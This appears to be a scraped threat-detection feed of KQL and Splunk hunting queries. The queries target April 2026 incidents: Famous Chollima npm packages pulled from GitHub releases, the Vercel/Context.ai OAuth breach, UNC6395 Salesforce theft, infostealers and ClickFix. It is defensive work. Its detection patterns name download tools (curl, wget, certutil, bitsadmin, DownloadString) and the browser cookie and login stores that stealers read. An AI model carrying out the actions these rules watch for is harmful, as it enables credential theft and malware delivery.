Hunts the graphalgo Famous Chollima TTP where the malicious dependency is omitted from npm and instead pulled directly from a GitHub release-download URL referenced in package-lock.json's 'resolved' field. Looks for npm/node/yarn/pnpm processes downloading github.com/.../releases/download artifacts during dependency resolution and for lockfiles containing such resolved URLs.
Rationale: The article specifically calls out the graphalgo evolution where the 'resolved' field in package-lock.json points to a GitHub release-download artifact instead of registry.npmjs.org, and names graph-dynamic, graphbase-js and graphlib-js as the carrier packages. Watching node/npm user-agents pulling github.com/.../releases/download tarballs surfaces the TTP even when the package name rotates.
Cross-checked against:
• https://www.reversinglabs.com/blog/claude-promptmink-malware-crypto
• https://devops.com/n-korean-famous-chollima-hackers-use-malicious-npm-packages-to-steal-data/
ATT&CKT1195.001T1102.002T1608.001
Data sourcesWeb.WebEndpoint.Filesystem
// Hunt: npm/node/yarn/pnpm pulling tarballs from github.com releases instead of registry.npmjs.org
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe","npm.exe","yarn.exe","pnpm.exe","npx.exe","node","npm","yarn","pnpm")
| where RemoteUrl has_any ("github.com","objects.githubusercontent.com")
| where RemoteUrl has "releases/download" or RemoteUrl matches regex @"\.tgz($|\?)"
| extend repoPath = extract(@"github\.com/([^/]+/[^/]+)/releases/download", 1, RemoteUrl)
| summarize hits=count(), urls=make_set(RemoteUrl, 20), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, repoPath
| union (
DeviceFileEvents
| where FileName in~ ("package-lock.json","yarn.lock","pnpm-lock.yaml")
| where FolderPath has_any ("graphbase-js","graphlib-js","graph-dynamic")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.user) as user from datamodel=Web.Web where (Web.url="*github.com*releases/download*" OR Web.url="*objects.githubusercontent.com*") AND (Web.http_user_agent="*npm*" OR Web.http_user_agent="*node*" OR Web.http_user_agent="*yarn*" OR Web.http_user_agent="*pnpm*") by Web.src, Web.site | `drop_dm_object_name(Web)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("package-lock.json","yarn.lock","pnpm-lock.yaml") AND (Filesystem.file_path="*graphbase-js*" OR Filesystem.file_path="*graphlib-js*" OR Filesystem.file_path="*graph-dynamic*") by Filesystem.dest, Filesystem.user, Filesystem.file_path | `drop_dm_object_name(Filesystem)`] | convert ctime(firstTime) ctime(lastTime) | where count > 0
2026-04-290 use cases1 technique1 kill-chain phase detected
Austrian and Albanian authorities dismantled a criminal ring accused of running a large-scale cryptocurrency investment fraud operation that caused estimated losses of over €50 million ($58.5 million) to victims worldwide. [...]
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-04-2911 use cases7 techniques4 kill-chain phases detected
A single third-party OAuth integration can become a direct path into your environment. Push explains how the Vercel breach shows a compromised OAuth app can lead to widespread impact across downstream customers. [...]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Google Workspace OAuth grant to Context.ai compromised app (Vercel breach pivot)InstallationHigh
Hunts for OAuth consent grants or token activity tied to the two Context.ai Google OAuth client IDs that were used to pivot from Context.ai's compromised tenant into Vercel's Google Workspace. Surfaces both the original employee consent and any continuing token use that needs revocation.
Rationale: Google's published evidence of the Context.ai breach lists exactly two OAuth client IDs (the app + Chrome-extension-embedded grant). Any presence of these client IDs in Workspace token logs is a near-zero-FP indicator of exposure to the same supply-chain pivot path that hit Vercel.
Cross-checked against:
• https://thehackernews.com/2026/04/vercel-breach-tied-to-context-ai-hack.html
• https://www.trendmicro.com/en_us/research/26/d/vercel-breach-oauth-supply-chain.html
• https://context.ai/security-update
• https://vercel.com/kb/bulletin/vercel-april-2026-security-incident
ATT&CKT1550.001T1528T1199
Data sourcesChange.All_ChangesAuthentication.Authentication
CloudAppEvents
| where Application in ("Google Workspace","Google","Google Cloud Platform")
| where ActionType in ("Add OAuth2 token","OAuth2 application authorized","Authorize","Use OAuth2 token")
| extend Raw = tostring(RawEventData)
| where Raw has_any ("110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com","110671459871-f3cq3okebd3jcg1lllmroqejdbka8cqq.apps.googleusercontent.com")
| project Timestamp, AccountDisplayName, AccountObjectId, IPAddress, IPCategory, UserAgent, ActionType, Application, Raw
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.action) as action values(All_Changes.src) as src from datamodel=Change where All_Changes.object_category IN ("oauth_token","oauth_consent","application") AND All_Changes.object IN ("110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com","110671459871-f3cq3okebd3jcg1lllmroqejdbka8cqq.apps.googleusercontent.com") by All_Changes.user All_Changes.object All_Changes.vendor_product
| `drop_dm_object_name(All_Changes)`
| eval risk_reason="OAuth grant to Context.ai client_id linked to Vercel/Context.ai April-2026 supply-chain breach"
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Salesforce data theft via Drift OAuth tokens — UNC6395 user-agent fingerprintsActions on ObjectivesHigh
The article cites the Salesloft Drift / UNC6395 OAuth supply-chain campaign as the precedent for the Vercel/Context.ai pattern. UNC6395 ran SOQL queries through stolen Drift OAuth tokens with three highly-fingerprintable user-agent strings; this UC alerts on any of them touching Salesforce, regardless of which OAuth integration was abused.
Rationale: Mandiant/Google Cloud + FBI Flash both publish these three exact UA strings as UNC6395 indicators against Salesforce; the article calls out this campaign by name. Combining the UAs with the article-confirmed target objects (AWS keys, Snowflake tokens, passwords) gives a high-fidelity exfil signal.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift
• https://www.obsidiansecurity.com/blog/unc6395-salesloft
• https://arcticwolf.com/resources/blog/widespread-salesforce-data-theft-via-compromised-salesloft-drift-oauth-tokens/
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.src) as src dc(Web.user) as user_count from datamodel=Web where (Web.dest="*.salesforce.com" OR Web.dest="*.my.salesforce.com" OR Web.vendor_product="Salesforce") AND Web.http_user_agent IN ("Salesforce-Multi-Org-Fetcher/1.0","Salesforce-CLI/1.0","python-requests/2.32.4") by Web.user Web.http_user_agent Web.dest
| `drop_dm_object_name(Web)`
| eval risk_reason="UNC6395 / Drift OAuth abuse user-agent observed against Salesforce"
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Context.ai Chrome extension still installed on managed endpointsInstallationHigh
Google removed the Context.ai Chrome extension (ID omddlmnhcofjbnbflmjginpjjblphbgk) on 27 Mar 2026 because it embedded a compromised OAuth grant. Any endpoint where this extension is still present is a residual exposure to the same Vercel-style OAuth pivot and should trigger token revocation.
Rationale: The extension ID is the single highest-confidence article-specific IOC: Google removed it from the Web Store specifically because it carried the breached OAuth grant. File or registry presence under a per-user Chrome profile is essentially zero-FP and directly mappable to a user whose Workspace tokens need rotation.
Cross-checked against:
• https://thehackernews.com/2026/04/vercel-breach-tied-to-context-ai-hack.html
• https://context.ai/security-update
• https://www.ox.security/blog/vercel-context-ai-supply-chain-attack-breachforums/
ATT&CKT1176T1199
Data sourcesEndpoint.RegistryEndpoint.Filesystem
let extId = "omddlmnhcofjbnbflmjginpjjblphbgk";
DeviceFileEvents
| where FolderPath has extId or FileName has extId
| project Timestamp, DeviceName, InitiatingProcessAccountName, FolderPath, FileName, ActionType
| union (
DeviceRegistryEvents
| where RegistryKey has extId or RegistryValueName has extId or RegistryValueData has extId
| project Timestamp, DeviceName, InitiatingProcessAccountName, FolderPath=RegistryKey, FileName=RegistryValueName, ActionType
)
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\Google\\Chrome\\User Data\\*\\Extensions\\omddlmnhcofjbnbflmjginpjjblphbgk*" by Filesystem.dest Filesystem.user
| `drop_dm_object_name(Filesystem)`
| append [
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Registry.registry_path) as registry_path from datamodel=Endpoint.Registry where Registry.registry_path="*\\Software\\Google\\Chrome\\Extensions\\omddlmnhcofjbnbflmjginpjjblphbgk*" OR Registry.registry_value_data="*omddlmnhcofjbnbflmjginpjjblphbgk*" by Registry.dest Registry.user
| `drop_dm_object_name(Registry)`
]
| eval risk_reason="Removed Context.ai Chrome extension still resident on host — revoke Google OAuth grants for this user"
2026-04-298 use cases5 techniques6 kill-chain phases detected
In February 2026, researchers uncovered a shift that completely changed the game: threat actors are now using custom AI setups to automate attacks directly into the kill chain. We aren't just talking about AI writing better phishing emails anymore. We’re talking about autonomous agents mapping Active Directory and seizing Domain Admin credentials in minutes. The problem? Most defensive workflows
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
